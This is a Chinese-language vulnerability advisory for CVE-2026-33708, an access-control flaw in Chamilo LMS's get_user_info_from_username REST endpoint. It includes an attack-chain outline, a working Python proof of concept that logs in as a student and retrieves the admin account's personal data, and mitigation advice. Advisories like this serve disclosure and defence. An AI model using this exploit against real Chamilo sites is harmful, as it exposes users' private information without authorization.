IPBUF安全漏洞报告
English
CVE-2026-33708 CVSS 6.5 中危

CVE-2026-33708 Chamilo LMS信息泄露漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33708
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

信息泄露越权访问Chamilo LMSAPI安全CVSS-6.5

漏洞概述

Chamilo LMS在1.11.38版本之前存在信息泄露漏洞。由于其get_user_info_from_username REST API端点缺少授权检查,任何经过身份验证的用户(包括低权限学生)均可访问该接口,获取系统中任意用户的敏感个人信息,如邮箱、姓名、用户ID及状态等。

技术细节

该漏洞属于失效的访问控制(Broken Access Control)。Chamilo LMS的get_user_info_from_username接口在设计时仅验证了请求者的登录状态(PR:L),但未验证其对目标用户数据的查询权限。攻击者利用该缺陷,通过构造包含目标用户名的API请求,可以直接绕过权限隔离,实现水平越权访问。由于该接口直接返回JSON格式的用户敏感数据,且无其他速率限制或二次验证,攻击者可轻易批量枚举并导出系统内所有用户资料,造成严重的隐私泄露风险。

攻击链分析

STEP 1
侦察与注册
攻击者发现目标使用Chamilo LMS,并注册一个普通学生账号或获取一个低权限已认证账号。
STEP 2
会话建立
攻击者使用该账号登录系统,获取有效的Session Cookie或API Token。
STEP 3
漏洞利用
攻击者向get_user_info_from_username REST API端点发送请求,参数中包含目标用户(如管理员)的用户名。
STEP 4
数据获取
服务器端未进行权限校验,直接返回目标用户的详细信息(邮箱、姓名、ID等),攻击者解析响应获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://example.com" api_endpoint = "/main/webservices/registration/rest.php" # Attacker's low-privilege credentials username = "student_user" password = "password" def exploit(): session = requests.Session() # Step 1: Authenticate to get a valid session cookie print("[*] Attempting to login as: {}".format(username)) login_data = { "username": username, "password": password } # Note: Login endpoint structure may vary based on Chamilo configuration login_resp = session.post(target_host + api_endpoint + "?action=login_user", data=login_data) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Exploit the vulnerable endpoint to get 'admin' info target_victim = "admin" print("[*] Fetching info for user: {}".format(target_victim)) # The vulnerable action params = { "action": "get_user_info_from_username", "username": target_victim } vuln_resp = session.get(target_host + api_endpoint, params=params) if vuln_resp.status_code == 200: print("[+] Exploit successful! Response:") print(vuln_resp.json()) else: print("[-] Request failed with status code: {}".format(vuln_resp.status_code)) if __name__ == "__main__": exploit()

影响范围

Chamilo LMS < 1.11.38

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器(如Nginx或Apache)层面对API接口进行访问控制限制,仅允许特定IP或管理网段调用该接口,或者通过WAF添加规则拦截对get_user_info_from_username的非管理员访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表